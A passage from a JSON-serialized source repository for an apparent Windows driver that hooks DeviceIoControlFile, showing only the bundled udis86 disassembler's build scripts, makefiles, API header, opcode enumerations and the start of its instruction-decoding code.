comment(lib,\"../udis86/udis86_i386.lib\")\n#elif _AMD64_\n#pragma comment(lib,\"../udis86/udis86_amd64.lib\")\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/build.bat", "content": "@echo off\nnmake /f makefile_i386\nnmake /f makefile_i386 clean\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/build64.bat", "content": "@echo off\nnmake /f makefile_amd64\nnmake /f makefile_amd64 clean\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/extern.h", "content": "/* -----------------------------------------------------------------------------\n * extern.h\n *\n * Copyright (c) 2004, 2005, 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n#ifndef UD_EXTERN_H\n#define UD_EXTERN_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \n#include \"types.h\"\n\n/* ============================= PUBLIC API ================================= */\n\nextern void ud_init(struct ud*);\n\nextern void ud_set_mode(struct ud*, uint8_t);\n\nextern void ud_set_pc(struct ud*, uint64_t);\n\nextern void ud_set_input_hook(struct ud*, int (*)(struct ud*));\n\nextern void ud_set_input_buffer(struct ud*, uint8_t*, size_t);\n\n#ifndef __UD_STANDALONE__\nextern void ud_set_input_file(struct ud*, FILE*);\n#endif /* __UD_STANDALONE__ */\n\nextern void ud_set_vendor(struct ud*, unsigned);\n\nextern void ud_set_syntax(struct ud*, void (*)(struct ud*));\n\nextern void ud_input_skip(struct ud*, size_t);\n\nextern int ud_input_end(struct ud*);\n\nextern unsigned int ud_decode(struct ud*);\n\nextern unsigned int ud_disassemble(struct ud*);\n\nextern void ud_translate_intel(struct ud*);\n\nextern void ud_translate_att(struct ud*);\n\nextern char* ud_insn_asm(struct ud* u);\n\nextern uint8_t* ud_insn_ptr(struct ud* u);\n\nextern uint64_t ud_insn_off(struct ud*);\n\nextern char* ud_insn_hex(struct ud*);\n\nextern unsigned int ud_insn_len(struct ud* u);\n\nextern const char* ud_lookup_mnemonic(enum ud_mnemonic_code c);\n\n/* ========================================================================== */\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/itab.h", "content": "\n/* itab.h -- auto generated by opgen.py, do not edit. */\n\n#ifndef UD_ITAB_H\n#define UD_ITAB_H\n\n\n\nenum ud_itab_vendor_index {\n ITAB__VENDOR_INDX__AMD,\n ITAB__VENDOR_INDX__INTEL,\n};\n\n\nenum ud_itab_mode_index {\n ITAB__MODE_INDX__16,\n ITAB__MODE_INDX__32,\n ITAB__MODE_INDX__64\n};\n\n\nenum ud_itab_mod_index {\n ITAB__MOD_INDX__NOT_11,\n ITAB__MOD_INDX__11\n};\n\n\nenum ud_itab_index {\n ITAB__0F,\n ITAB__0F__OP_00__REG,\n ITAB__0F__OP_01__REG,\n ITAB__0F__OP_01__REG__OP_00__MOD,\n ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM,\n ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_01__VENDOR,\n ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_03__VENDOR,\n ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_04__VENDOR,\n ITAB__0F__OP_01__REG__OP_01__MOD,\n ITAB__0F__OP_01__REG__OP_01__MOD__OP_01__RM,\n ITAB__0F__OP_01__REG__OP_02__MOD,\n ITAB__0F__OP_01__REG__OP_03__MOD,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_00__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_01__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_02__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_03__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_04__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_05__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_06__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_07__VENDOR,\n ITAB__0F__OP_01__REG__OP_04__MOD,\n ITAB__0F__OP_01__REG__OP_06__MOD,\n ITAB__0F__OP_01__REG__OP_07__MOD,\n ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM,\n ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM__OP_01__VENDOR,\n ITAB__0F__OP_0D__REG,\n ITAB__0F__OP_18__REG,\n ITAB__0F__OP_71__REG,\n ITAB__0F__OP_72__REG,\n ITAB__0F__OP_73__REG,\n ITAB__0F__OP_AE__REG,\n ITAB__0F__OP_AE__REG__OP_05__MOD,\n ITAB__0F__OP_AE__REG__OP_05__MOD__OP_01__RM,\n ITAB__0F__OP_AE__REG__OP_06__MOD,\n ITAB__0F__OP_AE__REG__OP_06__MOD__OP_01__RM,\n ITAB__0F__OP_AE__REG__OP_07__MOD,\n ITAB__0F__OP_AE__REG__OP_07__MOD__OP_01__RM,\n ITAB__0F__OP_BA__REG,\n ITAB__0F__OP_C7__REG,\n ITAB__0F__OP_C7__REG__OP_00__VENDOR,\n ITAB__0F__OP_C7__REG__OP_07__VENDOR,\n ITAB__0F__OP_D9__MOD,\n ITAB__0F__OP_D9__MOD__OP_01__X87,\n ITAB__1BYTE,\n ITAB__1BYTE__OP_60__OSIZE,\n ITAB__1BYTE__OP_61__OSIZE,\n ITAB__1BYTE__OP_63__MODE,\n ITAB__1BYTE__OP_6D__OSIZE,\n ITAB__1BYTE__OP_6F__OSIZE,\n ITAB__1BYTE__OP_80__REG,\n ITAB__1BYTE__OP_81__REG,\n ITAB__1BYTE__OP_82__REG,\n ITAB__1BYTE__OP_83__REG,\n ITAB__1BYTE__OP_8F__REG,\n ITAB__1BYTE__OP_98__OSIZE,\n ITAB__1BYTE__OP_99__OSIZE,\n ITAB__1BYTE__OP_9C__MODE,\n ITAB__1BYTE__OP_9C__MODE__OP_00__OSIZE,\n ITAB__1BYTE__OP_9C__MODE__OP_01__OSIZE,\n ITAB__1BYTE__OP_9D__MODE,\n ITAB__1BYTE__OP_9D__MODE__OP_00__OSIZE,\n ITAB__1BYTE__OP_9D__MODE__OP_01__OSIZE,\n ITAB__1BYTE__OP_A5__OSIZE,\n ITAB__1BYTE__OP_A7__OSIZE,\n ITAB__1BYTE__OP_AB__OSIZE,\n ITAB__1BYTE__OP_AD__OSIZE,\n ITAB__1BYTE__OP_AE__MOD,\n ITAB__1BYTE__OP_AE__MOD__OP_00__REG,\n ITAB__1BYTE__OP_AF__OSIZE,\n ITAB__1BYTE__OP_C0__REG,\n ITAB__1BYTE__OP_C1__REG,\n ITAB__1BYTE__OP_C6__REG,\n ITAB__1BYTE__OP_C7__REG,\n ITAB__1BYTE__OP_CF__OSIZE,\n ITAB__1BYTE__OP_D0__REG,\n ITAB__1BYTE__OP_D1__REG,\n ITAB__1BYTE__OP_D2__REG,\n ITAB__1BYTE__OP_D3__REG,\n ITAB__1BYTE__OP_D8__MOD,\n ITAB__1BYTE__OP_D8__MOD__OP_00__REG,\n ITAB__1BYTE__OP_D8__MOD__OP_01__X87,\n ITAB__1BYTE__OP_D9__MOD,\n ITAB__1BYTE__OP_D9__MOD__OP_00__REG,\n ITAB__1BYTE__OP_D9__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DA__MOD,\n ITAB__1BYTE__OP_DA__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DA__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DB__MOD,\n ITAB__1BYTE__OP_DB__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DB__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DC__MOD,\n ITAB__1BYTE__OP_DC__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DC__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DD__MOD,\n ITAB__1BYTE__OP_DD__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DD__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DE__MOD,\n ITAB__1BYTE__OP_DE__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DE__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DF__MOD,\n ITAB__1BYTE__OP_DF__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DF__MOD__OP_01__X87,\n ITAB__1BYTE__OP_E3__ASIZE,\n ITAB__1BYTE__OP_F6__REG,\n ITAB__1BYTE__OP_F7__REG,\n ITAB__1BYTE__OP_FE__REG,\n ITAB__1BYTE__OP_FF__REG,\n ITAB__3DNOW,\n ITAB__PFX_SSE66__0F,\n ITAB__PFX_SSE66__0F__OP_71__REG,\n ITAB__PFX_SSE66__0F__OP_72__REG,\n ITAB__PFX_SSE66__0F__OP_73__REG,\n ITAB__PFX_SSE66__0F__OP_C7__REG,\n ITAB__PFX_SSE66__0F__OP_C7__REG__OP_00__VENDOR,\n ITAB__PFX_SSEF2__0F,\n ITAB__PFX_SSEF3__0F,\n ITAB__PFX_SSEF3__0F__OP_C7__REG,\n ITAB__PFX_SSEF3__0F__OP_C7__REG__OP_07__VENDOR,\n};\n\n\nenum ud_mnemonic_code {\n UD_I3dnow,\n UD_Iaaa,\n UD_Iaad,\n UD_Iaam,\n UD_Iaas,\n UD_Iadc,\n UD_Iadd,\n UD_Iaddpd,\n UD_Iaddps,\n UD_Iaddsd,\n UD_Iaddss,\n UD_Iaddsubpd,\n UD_Iaddsubps,\n UD_Iand,\n UD_Iandpd,\n UD_Iandps,\n UD_Iandnpd,\n UD_Iandnps,\n UD_Iarpl,\n UD_Imovsxd,\n UD_Ibound,\n UD_Ibsf,\n UD_Ibsr,\n UD_Ibswap,\n UD_Ibt,\n UD_Ibtc,\n UD_Ibtr,\n UD_Ibts,\n UD_Icall,\n UD_Icbw,\n UD_Icwde,\n UD_Icdqe,\n UD_Iclc,\n UD_Icld,\n UD_Iclflush,\n UD_Iclgi,\n UD_Icli,\n UD_Iclts,\n UD_Icmc,\n UD_Icmovo,\n UD_Icmovno,\n UD_Icmovb,\n UD_Icmovae,\n UD_Icmovz,\n UD_Icmovnz,\n UD_Icmovbe,\n UD_Icmova,\n UD_Icmovs,\n UD_Icmovns,\n UD_Icmovp,\n UD_Icmovnp,\n UD_Icmovl,\n UD_Icmovge,\n UD_Icmovle,\n UD_Icmovg,\n UD_Icmp,\n UD_Icmppd,\n UD_Icmpps,\n UD_Icmpsb,\n UD_Icmpsw,\n UD_Icmpsd,\n UD_Icmpsq,\n UD_Icmpss,\n UD_Icmpxchg,\n UD_Icmpxchg8b,\n UD_Icomisd,\n UD_Icomiss,\n UD_Icpuid,\n UD_Icvtdq2pd,\n UD_Icvtdq2ps,\n UD_Icvtpd2dq,\n UD_Icvtpd2pi,\n UD_Icvtpd2ps,\n UD_Icvtpi2ps,\n UD_Icvtpi2pd,\n UD_Icvtps2dq,\n UD_Icvtps2pi,\n UD_Icvtps2pd,\n UD_Icvtsd2si,\n UD_Icvtsd2ss,\n UD_Icvtsi2ss,\n UD_Icvtss2si,\n UD_Icvtss2sd,\n UD_Icvttpd2pi,\n UD_Icvttpd2dq,\n UD_Icvttps2dq,\n UD_Icvttps2pi,\n UD_Icvttsd2si,\n UD_Icvtsi2sd,\n UD_Icvttss2si,\n UD_Icwd,\n UD_Icdq,\n UD_Icqo,\n UD_Idaa,\n UD_Idas,\n UD_Idec,\n UD_Idiv,\n UD_Idivpd,\n UD_Idivps,\n UD_Idivsd,\n UD_Idivss,\n UD_Iemms,\n UD_Ienter,\n UD_If2xm1,\n UD_Ifabs,\n UD_Ifadd,\n UD_Ifaddp,\n UD_Ifbld,\n UD_Ifbstp,\n UD_Ifchs,\n UD_Ifclex,\n UD_Ifcmovb,\n UD_Ifcmove,\n UD_Ifcmovbe,\n UD_Ifcmovu,\n UD_Ifcmovnb,\n UD_Ifcmovne,\n UD_Ifcmovnbe,\n UD_Ifcmovnu,\n UD_Ifucomi,\n UD_Ifcom,\n UD_Ifcom2,\n UD_Ifcomp3,\n UD_Ifcomi,\n UD_Ifucomip,\n UD_Ifcomip,\n UD_Ifcomp,\n UD_Ifcomp5,\n UD_Ifcompp,\n UD_Ifcos,\n UD_Ifdecstp,\n UD_Ifdiv,\n UD_Ifdivp,\n UD_Ifdivr,\n UD_Ifdivrp,\n UD_Ifemms,\n UD_Iffree,\n UD_Iffreep,\n UD_Ificom,\n UD_Ificomp,\n UD_Ifild,\n UD_Ifncstp,\n UD_Ifninit,\n UD_Ifiadd,\n UD_Ifidivr,\n UD_Ifidiv,\n UD_Ifisub,\n UD_Ifisubr,\n UD_Ifist,\n UD_Ifistp,\n UD_Ifisttp,\n UD_Ifld,\n UD_Ifld1,\n UD_Ifldl2t,\n UD_Ifldl2e,\n UD_Ifldlpi,\n UD_Ifldlg2,\n UD_Ifldln2,\n UD_Ifldz,\n UD_Ifldcw,\n UD_Ifldenv,\n UD_Ifmul,\n UD_Ifmulp,\n UD_Ifimul,\n UD_Ifnop,\n UD_Ifpatan,\n UD_Ifprem,\n UD_Ifprem1,\n UD_Ifptan,\n UD_Ifrndint,\n UD_Ifrstor,\n UD_Ifnsave,\n UD_Ifscale,\n UD_Ifsin,\n UD_Ifsincos,\n UD_Ifsqrt,\n UD_Ifstp,\n UD_Ifstp1,\n UD_Ifstp8,\n UD_Ifstp9,\n UD_Ifst,\n UD_Ifnstcw,\n UD_Ifnstenv,\n UD_Ifnstsw,\n UD_Ifsub,\n UD_Ifsubp,\n UD_Ifsubr,\n UD_Ifsubrp,\n UD_Iftst,\n UD_Ifucom,\n UD_Ifucomp,\n UD_Ifucompp,\n UD_Ifxam,\n UD_Ifxch,\n UD_Ifxch4,\n UD_Ifxch7,\n UD_Ifxrstor,\n UD_Ifxsave,\n UD_Ifpxtract,\n UD_Ifyl2x,\n UD_Ifyl2xp1,\n UD_Ihaddpd,\n UD_Ihaddps,\n UD_Ihlt,\n UD_Ihsubpd,\n UD_Ihsubps,\n UD_Iidiv,\n UD_Iin,\n UD_Iimul,\n UD_Iinc,\n UD_Iinsb,\n UD_Iinsw,\n UD_Iinsd,\n UD_Iint1,\n UD_Iint3,\n UD_Iint,\n UD_Iinto,\n UD_Iinvd,\n UD_Iinvlpg,\n UD_Iinvlpga,\n UD_Iiretw,\n UD_Iiretd,\n UD_Iiretq,\n UD_Ijo,\n UD_Ijno,\n UD_Ijb,\n UD_Ijae,\n UD_Ijz,\n UD_Ijnz,\n UD_Ijbe,\n UD_Ija,\n UD_Ijs,\n UD_Ijns,\n UD_Ijp,\n UD_Ijnp,\n UD_Ijl,\n UD_Ijge,\n UD_Ijle,\n UD_Ijg,\n UD_Ijcxz,\n UD_Ijecxz,\n UD_Ijrcxz,\n UD_Ijmp,\n UD_Ilahf,\n UD_Ilar,\n UD_Ilddqu,\n UD_Ildmxcsr,\n UD_Ilds,\n UD_Ilea,\n UD_Iles,\n UD_Ilfs,\n UD_Ilgs,\n UD_Ilidt,\n UD_Ilss,\n UD_Ileave,\n UD_Ilfence,\n UD_Ilgdt,\n UD_Illdt,\n UD_Ilmsw,\n UD_Ilock,\n UD_Ilodsb,\n UD_Ilodsw,\n UD_Ilodsd,\n UD_Ilodsq,\n UD_Iloopnz,\n UD_Iloope,\n UD_Iloop,\n UD_Ilsl,\n UD_Iltr,\n UD_Imaskmovq,\n UD_Imaxpd,\n UD_Imaxps,\n UD_Imaxsd,\n UD_Imaxss,\n UD_Imfence,\n UD_Iminpd,\n UD_Iminps,\n UD_Iminsd,\n UD_Iminss,\n UD_Imonitor,\n UD_Imov,\n UD_Imovapd,\n UD_Imovaps,\n UD_Imovd,\n UD_Imovddup,\n UD_Imovdqa,\n UD_Imovdqu,\n UD_Imovdq2q,\n UD_Imovhpd,\n UD_Imovhps,\n UD_Imovlhps,\n UD_Imovlpd,\n UD_Imovlps,\n UD_Imovhlps,\n UD_Imovmskpd,\n UD_Imovmskps,\n UD_Imovntdq,\n UD_Imovnti,\n UD_Imovntpd,\n UD_Imovntps,\n UD_Imovntq,\n UD_Imovq,\n UD_Imovqa,\n UD_Imovq2dq,\n UD_Imovsb,\n UD_Imovsw,\n UD_Imovsd,\n UD_Imovsq,\n UD_Imovsldup,\n UD_Imovshdup,\n UD_Imovss,\n UD_Imovsx,\n UD_Imovupd,\n UD_Imovups,\n UD_Imovzx,\n UD_Imul,\n UD_Imulpd,\n UD_Imulps,\n UD_Imulsd,\n UD_Imulss,\n UD_Imwait,\n UD_Ineg,\n UD_Inop,\n UD_Inot,\n UD_Ior,\n UD_Iorpd,\n UD_Iorps,\n UD_Iout,\n UD_Ioutsb,\n UD_Ioutsw,\n UD_Ioutsd,\n UD_Ioutsq,\n UD_Ipacksswb,\n UD_Ipackssdw,\n UD_Ipackuswb,\n UD_Ipaddb,\n UD_Ipaddw,\n UD_Ipaddq,\n UD_Ipaddsb,\n UD_Ipaddsw,\n UD_Ipaddusb,\n UD_Ipaddusw,\n UD_Ipand,\n UD_Ipandn,\n UD_Ipause,\n UD_Ipavgb,\n UD_Ipavgw,\n UD_Ipcmpeqb,\n UD_Ipcmpeqw,\n UD_Ipcmpeqd,\n UD_Ipcmpgtb,\n UD_Ipcmpgtw,\n UD_Ipcmpgtd,\n UD_Ipextrw,\n UD_Ipinsrw,\n UD_Ipmaddwd,\n UD_Ipmaxsw,\n UD_Ipmaxub,\n UD_Ipminsw,\n UD_Ipminub,\n UD_Ipmovmskb,\n UD_Ipmulhuw,\n UD_Ipmulhw,\n UD_Ipmullw,\n UD_Ipmuludq,\n UD_Ipop,\n UD_Ipopa,\n UD_Ipopad,\n UD_Ipopfw,\n UD_Ipopfd,\n UD_Ipopfq,\n UD_Ipor,\n UD_Iprefetch,\n UD_Iprefetchnta,\n UD_Iprefetcht0,\n UD_Iprefetcht1,\n UD_Iprefetcht2,\n UD_Ipsadbw,\n UD_Ipshufd,\n UD_Ipshufhw,\n UD_Ipshuflw,\n UD_Ipshufw,\n UD_Ipslldq,\n UD_Ipsllw,\n UD_Ipslld,\n UD_Ipsllq,\n UD_Ipsraw,\n UD_Ipsrad,\n UD_Ipsrlw,\n UD_Ipsrld,\n UD_Ipsrlq,\n UD_Ipsrldq,\n UD_Ipsubb,\n UD_Ipsubw,\n UD_Ipsubd,\n UD_Ipsubq,\n UD_Ipsubsb,\n UD_Ipsubsw,\n UD_Ipsubusb,\n UD_Ipsubusw,\n UD_Ipunpckhbw,\n UD_Ipunpckhwd,\n UD_Ipunpckhdq,\n UD_Ipunpckhqdq,\n UD_Ipunpcklbw,\n UD_Ipunpcklwd,\n UD_Ipunpckldq,\n UD_Ipunpcklqdq,\n UD_Ipi2fw,\n UD_Ipi2fd,\n UD_Ipf2iw,\n UD_Ipf2id,\n UD_Ipfnacc,\n UD_Ipfpnacc,\n UD_Ipfcmpge,\n UD_Ipfmin,\n UD_Ipfrcp,\n UD_Ipfrsqrt,\n UD_Ipfsub,\n UD_Ipfadd,\n UD_Ipfcmpgt,\n UD_Ipfmax,\n UD_Ipfrcpit1,\n UD_Ipfrspit1,\n UD_Ipfsubr,\n UD_Ipfacc,\n UD_Ipfcmpeq,\n UD_Ipfmul,\n UD_Ipfrcpit2,\n UD_Ipmulhrw,\n UD_Ipswapd,\n UD_Ipavgusb,\n UD_Ipush,\n UD_Ipusha,\n UD_Ipushad,\n UD_Ipushfw,\n UD_Ipushfd,\n UD_Ipushfq,\n UD_Ipxor,\n UD_Ircl,\n UD_Ircr,\n UD_Irol,\n UD_Iror,\n UD_Ircpps,\n UD_Ircpss,\n UD_Irdmsr,\n UD_Irdpmc,\n UD_Irdtsc,\n UD_Irdtscp,\n UD_Irepne,\n UD_Irep,\n UD_Iret,\n UD_Iretf,\n UD_Irsm,\n UD_Irsqrtps,\n UD_Irsqrtss,\n UD_Isahf,\n UD_Isal,\n UD_Isalc,\n UD_Isar,\n UD_Ishl,\n UD_Ishr,\n UD_Isbb,\n UD_Iscasb,\n UD_Iscasw,\n UD_Iscasd,\n UD_Iscasq,\n UD_Iseto,\n UD_Isetno,\n UD_Isetb,\n UD_Isetnb,\n UD_Isetz,\n UD_Isetnz,\n UD_Isetbe,\n UD_Iseta,\n UD_Isets,\n UD_Isetns,\n UD_Isetp,\n UD_Isetnp,\n UD_Isetl,\n UD_Isetge,\n UD_Isetle,\n UD_Isetg,\n UD_Isfence,\n UD_Isgdt,\n UD_Ishld,\n UD_Ishrd,\n UD_Ishufpd,\n UD_Ishufps,\n UD_Isidt,\n UD_Isldt,\n UD_Ismsw,\n UD_Isqrtps,\n UD_Isqrtpd,\n UD_Isqrtsd,\n UD_Isqrtss,\n UD_Istc,\n UD_Istd,\n UD_Istgi,\n UD_Isti,\n UD_Iskinit,\n UD_Istmxcsr,\n UD_Istosb,\n UD_Istosw,\n UD_Istosd,\n UD_Istosq,\n UD_Istr,\n UD_Isub,\n UD_Isubpd,\n UD_Isubps,\n UD_Isubsd,\n UD_Isubss,\n UD_Iswapgs,\n UD_Isyscall,\n UD_Isysenter,\n UD_Isysexit,\n UD_Isysret,\n UD_Itest,\n UD_Iucomisd,\n UD_Iucomiss,\n UD_Iud2,\n UD_Iunpckhpd,\n UD_Iunpckhps,\n UD_Iunpcklps,\n UD_Iunpcklpd,\n UD_Iverr,\n UD_Iverw,\n UD_Ivmcall,\n UD_Ivmclear,\n UD_Ivmxon,\n UD_Ivmptrld,\n UD_Ivmptrst,\n UD_Ivmresume,\n UD_Ivmxoff,\n UD_Ivmrun,\n UD_Ivmmcall,\n UD_Ivmload,\n UD_Ivmsave,\n UD_Iwait,\n UD_Iwbinvd,\n UD_Iwrmsr,\n UD_Ixadd,\n UD_Ixchg,\n UD_Ixlatb,\n UD_Ixor,\n UD_Ixorpd,\n UD_Ixorps,\n UD_Idb,\n UD_Iinvalid,\n UD_Id3vil,\n UD_Ina,\n UD_Igrp_reg,\n UD_Igrp_rm,\n UD_Igrp_vendor,\n UD_Igrp_x87,\n UD_Igrp_mode,\n UD_Igrp_osize,\n UD_Igrp_asize,\n UD_Igrp_mod,\n UD_Inone,\n};\n\n\n\nextern const char* ud_mnemonics_str[];;\nextern struct ud_itab_entry* ud_itab_list[];\n\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile.inc", "content": "decode.obj: src/decode.c\n $(CC) $(CFLAGS) src/decode.c\n\ninput.obj: src/input.c\n $(CC) $(CFLAGS) src/input.c\n\nitab.obj: src/itab.c\n $(CC) $(CFLAGS) src/itab.c\n\nsyn.obj: src/syn.c\n $(CC) $(CFLAGS) src/syn.c\n \nsyn-att.obj: src/syn-att.c\n $(CC) $(CFLAGS) src/syn-att.c\n \nsyn-intel.obj: src/syn-intel.c\n $(CC) $(CFLAGS) src/syn-intel.c\n \nudis86.obj: src/udis86.c\n $(CC) $(CFLAGS) src/udis86.c \n\nLOBJS = decode.obj input.obj itab.obj syn.obj syn-att.obj syn-intel.obj udis86.obj\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile_amd64", "content": "OUTNAME = udis86_amd64\n\nALL: $(OUTNAME).lib\n\nCC = cl.exe\n\nCFLAGS = /nologo -I\".\\src\" -I\"$(CRT_INC_PATH)\" -D__UD_STANDALONE__ -D_AMD64_=1 -D_M_AMD64 /Gz /c\n\ninclude Makefile.inc\n\nLN = lib.exe\n\nLFLAGS = /LIBPATH:$(CRT_LIB_PATH)\\..\\amd64 /out:$(OUTNAME).lib\n\n$(OUTNAME).lib: $(LOBJS)\n $(LN) $(LFLAGS) $(LOBJS)\n\nclean:\n @del *.obj \n\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/makefile_i386", "content": "OUTNAME = udis86_i386\n\nALL: $(OUTNAME).lib\n\nCC = cl.exe\n\nCFLAGS=/nologo -I\".\\src\" -I\"$(CRT_INC_PATH)\" -D__UD_STANDALONE__ -D_X86_=1 /Gz /c\n\ninclude Makefile.inc\n\nLN = lib.exe\n\nLFLAGS = /LIBPATH:$(CRT_LIB_PATH)\\..\\i386 /out:$(OUTNAME).lib\n\n$(OUTNAME).lib: $(LOBJS)\n $(LN) $(LFLAGS) $(LOBJS)\n\nclean:\n @del *.obj \n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/decode.c", "content": "/* -----------------------------------------------------------------------------\n * decode.c\n *\n * Copyright (c) 2005, 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n\n#include \n\n#include \"types.h\"\n#include \"itab.h\"\n#include \"input.h\"\n#include \"decode.h\"\n\n/* The max number of prefixes to an instruction */\n#define MAX_PREFIXES 15\n\n#define assert\n\nstatic struct ud_itab_entry ie_invalid = { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none };\nstatic struct ud_itab_entry ie_pause = { UD_Ipause, O_NONE, O_NONE, O_NONE, P_none };\nstatic struct ud_itab_entry ie_nop = { UD_Inop, O_NONE, O_NONE, O_NONE, P_none };\n\n\n/* Looks up mnemonic code in the mnemonic string table\n * Returns NULL if the mnemonic code is invalid\n */\nconst char * ud_lookup_mnemonic( enum ud_mnemonic_code c )\n{\n if ( c < UD_Id3vil )\n return ud_mnemonics_str[ c ];\n return NULL;\n}\n\n\n/* Extracts instruction prefixes.\n */\nstatic int get_prefixes( struct ud* u )\n{\n unsigned int have_pfx = 1;\n unsigned int i;\n uint8_t curr;\n\n /* if in error state, bail out */\n if ( u->error ) \n return -1; \n\n /* keep going as long as there are prefixes available */\n for ( i = 0; have_pfx ; ++i ) {\n\n /* Get next byte. */\n inp_next(u); \n if ( u->error ) \n return -1;\n curr = inp_curr( u );\n\n /* rex prefixes in 64bit mode */\n if ( u->dis_mode == 64 && ( curr & 0xF0 ) == 0x40 ) {\n u->pfx_rex = curr; \n } else {\n switch ( curr ) \n {\n case 0x2E : \n u->pfx_seg = UD_R_CS; \n u->pfx_rex = 0;\n break;\n case 0x36 : \n u->pfx_seg = UD_R_SS; \n u->pfx_rex = 0;\n break;\n case 0x3E : \n u->pfx_seg = UD_R_DS; \n u->pfx_rex = 0;\n break;\n case 0x26 : \n u->pfx_seg = UD_R_ES; \n u->pfx_rex = 0;\n break;\n case 0x64 : \n u->pfx_seg = UD_R_FS; \n u->pfx_rex = 0;\n break;\n case 0x65 : \n u->pfx_seg = UD_R_GS; \n u->pfx_rex = 0;\n break;\n case 0x67 : /* adress-size override prefix */ \n u->pfx_adr = 0x67;\n u->pfx_rex = 0;\n break;\n case 0xF0 : \n u->pfx_lock = 0xF0;\n u->pfx_rex = 0;\n break;\n case 0x66: \n /* the 0x66 sse prefix is only effective if no other sse prefix\n * has already been specified.\n */\n if ( !u->pfx_insn ) u->pfx_insn = 0x66;\n u->pfx_opr = 0x66; \n u->pfx_rex = 0;\n break;\n case 0xF2:\n u->pfx_insn = 0xF2;\n u->pfx_repne = 0xF2; \n u->pfx_rex = 0;\n break;\n case 0xF3:\n u->pfx_insn = 0xF3;\n u->pfx_rep = 0xF3; \n u->pfx_repe = 0xF3; \n u->pfx_rex = 0;\n break;\n default : \n /* No more prefixes */\n have_pfx = 0;\n break;\n }\n }\n\n /* check if we reached max instruction length */\n if ( i + 1 == MAX_INSN_LENGTH ) {\n u->error = 1;\n break;\n }\n }\n\n /* return status */\n if ( u->error ) \n return -1; \n\n /* rewind back one byte in stream, since the above loop \n * stops with a non-prefix byte. \n */\n inp_back(u);\n\n /* speculatively determine the effective operand mode,\n * based on the prefixes and the current disassembly\n * mode. This may be inaccurate, but useful for mode\n * dependent decoding.\n */\n if ( u->dis_mode == 64 ) {\n u->opr_mode = REX_W( u->pfx_rex ) ? 64 : ( ( u->pfx_opr ) ? 16 : 32 ) ;\n u->adr_mode = ( u->pfx_adr ) ? 32 : 64;\n } else if ( u->dis_mode == 32 ) {\n u->opr_mode = ( u->pfx_opr ) ? 16 : 32;\n u->adr_mode = ( u->pfx_adr ) ? 16 : 32;\n } else if ( u->dis_mode == 16 ) {\n u->opr_mode = ( u->pfx_opr ) ? 32 : 16;\n u->adr_mode = ( u->pfx_adr ) ? 32 : 16;\n }\n\n return 0;\n}\n\n\n/* Searches the instruction tables for the right entry.\n */\nstatic int search_itab( struct ud * u )\n{\n struct ud_itab_entry * e = NULL;\n enum ud_itab_index table;\n uint8_t peek;\n uint8_t did_peek = 0;\n uint8_t curr; \n uint8_t index;\n\n /* if in state of error, return */\n if ( u->error ) \n return -1;\n\n /* get first byte of opcode. */\n inp_next(u); \n if ( u->error ) \n return -1;\n curr = inp_curr(u); \n\n /* resolve xchg, nop, pause crazyness */\n if ( 0x90 == curr ) {\n if ( !( u->dis_mode == 64 && REX_B( u->pfx_rex ) ) ) {\n if ( u->pfx_rep ) {\n u->pfx_rep = 0;\n e = & ie_pause;\n } else {\n e = & ie_nop;\n }\n goto found_entry;\n }\n }\n\n /* get top-level table */\n if ( 0x0F == curr ) {\n table = ITAB__0F;\n curr = inp_next(u);\n if ( u->error )\n return -1;\n\n /* 2byte opcodes can be modified by 0x66, F3, and F2 prefixes */\n if ( 0x66 == u->pfx_insn ) {\n if ( ud_itab_list[ ITAB__PFX_SSE66__0F ][ curr ].mnemonic != UD_Iinvalid ) {\n table = ITAB__PFX_SSE66__0F;\n 